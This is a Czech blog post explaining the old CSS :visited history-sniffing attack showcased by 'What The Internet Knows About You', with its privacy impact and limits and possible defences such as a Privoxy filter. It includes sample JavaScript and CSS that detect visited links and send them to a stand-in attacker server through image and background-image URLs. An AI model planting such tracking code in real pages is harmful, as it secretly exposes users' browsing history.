Sledování historie navštívených stránek

Soukromí na internetu je v poslední době v odborných médiích skloňováno ve všech pádech, zejména v souvislosti s aktivitami Googlu, Facebooku a dalších významných firem. Pokud toho stále ještě nemáte dost a chcete svoji paranoiu ještě trochu přiživit, přišli jste na správné místo. Chtěl bych vás totiž upozornit na stránku What The Internet Knows About You, která nedávno rozvířila poněkud zatuchlé vody detekování, na jakých stránkách se uživatel pohyboval, než přišel na stránku vaši. Zajímavé na jejím přístupu je, že na svoji činnost nepotřebuje žádný javascript ani Flash, vystačí si s pouhým CSS.

Na tomto místě je vhodné podotknout, že popisovaný útok není nový. Autoři to ostatně sami přiznávají v použitých zdrojích (například tento bugreport z konce roku 2000, případně na to upozorňuje sama specifikace CSS 2.1). Dosud však šlo „jen“ o více či méně obskurní informace, že problém existuje, ale neexistovala dostatečně výmluvná praktická ukázka, která by ho demonstrovala běžným uživatelům nebo tvůrcům browserů. A to je právě přínosem „What the internet knows about you“ (WTIKAY).

Jak to funguje

Klíčem k celému útoku je CSS pseudotřída :visited, pomocí které lze měnit vzhled navštívených odkazů. Útočník připraví HTML stránku, která neobsahuje nic než desítky až stovky (nebo také tisíce i desetitisíce!) vytipovaných odkazů, a naláká na ni oběť. Prohlížeč oběti se sám postará, aby navštívené odkazy byly vykresleny jinak než odkazy nenavštívené – to je konečně smysl udržování historie v prohlížeči. Útočník však jde ještě o krok dál – pomocí některé z technik, které popíšu dále, si dokáže takto vyznačené odkazy „vyzvednout“ a přenést si informace o nich na svůj server, kde si je přiřadí k uživateli (ať už podle cookies, IP adres nebo jiného odlišujícího znaku) a pak už je jen na něm, kdy a jak je využije.

„Tradiční“ způsob, jak se útočník dostane k seznamu stránek, spočívá v kombinaci CSS a javascriptu: Pomocí stylů útočník nastyluje odkazy tak, aby se lišily navštívené a nenavštívené odkazy – například jedny nechá vykreslit červeně a druhé zeleně (nicméně na konkrétní barvě nezáleží, klidně by to mohlo být červeně a červeně v nerozlišitelně tmavším odstínu):

a { color: green; }
a: visited { color: red; }

Následně pomocí javascriptu projde všechny odkazy na stránce. Funkcí typu getComputedStyle si „vytáhne“ informaci o tom, jak je odkaz zobrazen, a porovnáním s přednastavenými barvami zjistí, jestli jde o odkaz nenavštívený nebo navštívený:

var url_array = new Array('http://google.com', 'http://yahoo.com');
var visited_array = new Array();

var link_el = document.createElement('a');
var computed_style = document.defaultView.getComputedStyle(link_el, "");

for (var i = 0; i < url_array.length; i++) {
	link_el.href = array[i];

	if (computed_style.getPropertyValue("color") == 'rgb(255, 0, 0)') {
		// The color was red, so the link was visited
		visited_array.push(url_array[i]);
	}
}

(Oba kódy převzaty z http://wtikay.com/docs/details.html.)

Odeslání na server už se pak dá řešit řadou možných způsobů, AJAXem nebo třeba vytvořením obrázku s vhodnou URL (<img src="http://www.utocnikuvserver.cz/zaznamenej.php?id_odkazu=12345">>).

Takže řešení je jednoduché, stačí zakázat javascript a útok je v koncích, že? Právě že ne. Drobnou úpravou, která dovede předchozí přístup o krok dál, lze celou detekci provést pomocí stylů. Stačí si uvědomit, že vizuálním parametrem, který lze použít, není jen barva textu – mimo jiné lze použít obrázek na pozadí odkazu. No a tento obrázek může, přesně stejně jako v předchozím odstavci, ležet na serveru útočníka:

<style>
#id12345:visited { background-image: url('http://www.utocnikuvserver.cz/zaznamenej.php?id_odkazu=12345'); }
#id54321:visited { background-image: url('http://www.utocnikuvserver.cz/zaznamenej.php?id_odkazu=54321'); }
</style>
...
<a id="id12345" href="http://www.google.com">.</a>
<a id="id54321" href="http://www.pepak.net">.</a>
...

Co to znamená pro oběť

Otázkou je, co vlastně může útočník o oběti zjistit a jak (pokud vůbec) to může zneužít. To je samozřejmě vysoce individuální, jinak se na věc bude dívat čínský blogger kritizující vládu a uživatel, který se jednou za týden přihlásí na Seznam a přečte si poštu. Obecně největší pozornost by tomuto problému měli věnovat ti, kdo provozují činnost, která je nelegální (nebo může být jako nelegální vykládána – nebylo by zrovna taktické třeba si jen přečíst stránku s downloadem Windows 7 na Pirate Bay, a pak bez promazání historie navštívených stránek zajít na stránky Microsoftu nebo BSA) nebo veřejně nepřijatelná (pokud například máte ambice být významným politikem v nějaké civilizované zemi, považuje se za vhodné vyhýbat se pornografickým stránkám), ale i obyčejní lidé mohou mít důvody, proč si na tento typ útoku dávat pozor – do jisté míry se dá zjistit například zeměpisná poloha uživatele (šlo by například detekovat, jestli v katalogu firem na Seznamu využil filtr na nějaký kraj nebo dokonce město) nebo jeho politické názory (srovnáním, které zpravodajské servery navštěvuje a jaké články na nich čte).

Faktem je, že zneužitelnost těchto informací, zvlášť pokud dodržujete zákony a morálku, je poměrně nízká. Ještě víc ji omezuje to, že zjistit toho jde jen velice málo – vlastně jen to, jestli (ANO/NE) oběť navštívila konkrétní vytipovanou stránku. Útok tedy může odpovědět na otázku, „Navštívila oběť stránku http://wtikay.com/docs/details.html?“ nebo „Navštívila oběť stránku http://search.seznam.cz/?sourceid=szn-HP&thru=&q=pepak&mod=f?“ (=“pokusila se z hlavní stránky seznamu vyhledat klíčové slovo ‚pepak‘?“), ale nelze odpovědět na otázky „Kdy četla stránku http://wtikay.com/docs/details.html?“, „Kolikrát navštívila stránku http://wtikay.com/docs/details.html?“ nebo „Co všechno vyhledávala na Seznamu?“.

Dalším omezujícím faktorem je, že vám útočník musí umět podstrčit seznam vytipovaných odkazů. Ne že by to bylo kdovíjak těžké – když budu cílit na konkrétního člověka, stačí poslat dostatečně personalizovaný e-mail, třeba v duchu „Pepaku, co si myslíš o útoku na TrueCrypt, který je popsaný na stránce …“, a oslovení větší skupiny je ještě jednodušší (co takhle zpráva „Nahé české celebrity zdarma!“ vložená do celkem libovolné diskuse). Majitelé dostatečně navštěvovaných webů to mají ještě jednodušší, prostě odkazy zahrnou přímo do své domovské stránky (státní úřady by například mohly testovat návštěvy stránek zabývajících se daňovými ráji, protipirátské organizace návštěvy warez stránek [a naopak] a tak podobně).

Celkově si nemyslím, že by bylo potřeba si s popisovaným útokem zvlášť lámat hlavu. Jsem ale přesvědčen, že je velmi vhodné o něm vědět pro případ, že byste se někdy dostali do situace, kdy si soukromí ochránit chcete – už proto, že tak lze celkem snadno obejít zabezpečovací prostředky, které mnozí mylně považují za zcela anonymní (například TOR nebo privátní VPN sítě).

Ochrana

Jak se proti útoku bránit? Obtížně. Základní metody shrnuje stránka Solutions na „What the internet knows about you“.

Můžete v prohlížeči zakázat ukládání historie (přímo zákazem historie, pravidelným promazáváním historie, použitím privátního režimu apod.), to je ale poměrně nepohodlné – tu historii máme v prohlížečích proto, že je užitečná.

Můžete se pokusit zabránit stylování navštívených odkazů (Firefox 3.5 na to má v about:config nastavení layout.css.visited_links_enabled) nebo nějakými prostředky (nastavení prohlížeče, uživatelské styly…) vynutit stejné zobrazování naštívených a nenavštívených odkazů (ovšem je značně problematické udělat to opravdu komplexně, a i když už se vám to podaří, dosáhnete v nejlepším případě stejného efektu, jako když historii prohlížení zakážete úplně).

Můžete se vydat cestou úpravy prohlížeče (pomocí pluginů nebo rozšíření), respektive úpravou stránek (Privoxy, Proxomitron apod.). Potíž je v tom, že je strašně obtížné dosáhnout kompletního zabezpečení (protože stejnou funkcionalitu jde napsat nekonečně mnoha způsoby; když budete zkoušet filtrovat nebezpečné konstrukce, musíte počítat s tím, že útočník bude vkládat různé nadbytečné znaky, které browseru nevadí, ale váš upravující kód rozhodí), a i když se vám to podaří, opět narazíte na to, že tím ztrácíte možnost historii smysluplně používat.

Tvůrci „What the internet knows about you“ považují za nejlepší řešení přímou podporu v prohlížečích, ale jsou skeptičtí k tomu, že na to vývojáři přistoupí. Ani se nedivím – zatím nikdo nenašel takové řešení, které by fungovalo a současně umožnilo normální používání historie.

Já jsem zatím experimentálně zkusil použít tento filtr do Privoxy: s~(:visited)([\s,{])~$1x$2~igs (testuji existenci pseudotřídy :visited a přepisuji ji na neexistující :visitedx), ovšem má to celou řadu nedostatků a nevýhod (mimo jiné to vyžaduje mít vypnutý javascript, protože se zapnutým skriptováním to jde snadno obejít) a víceméně to slouží jen pro „studijní účely“ – kdybych náhodou opravdu potřeboval ochránit svoji historii, bude to za stávajícího stavu prohlížečů chtít buď kompletní vypnutí historie, nebo používání jiného browseru pro každou stránku (např. ve virtuálních strojích).

Závěr

Popisovaný útok mi připadá jako nesmírně zajímavá praktická ukázka, že i s využitím úplně běžných prostředků, všeobecně pokládaných za dosti bezpečné, může být uživatel napaden. Praktické dopady mi pro moje účely připadají spíše zanedbatelné, ovšem s vědomím, že existují v životě situace, kdy význam mít mohou. A jak můj oblíbený spisovatel Steve Perry v jedné z knížek napsal, je lepší znalost (nebo věc) mít a nepotřebovat než ji potřebovat a nemít.

Podobné příspěvky:

Leave a Reply

Themocracy iconWordPress Themes

css.php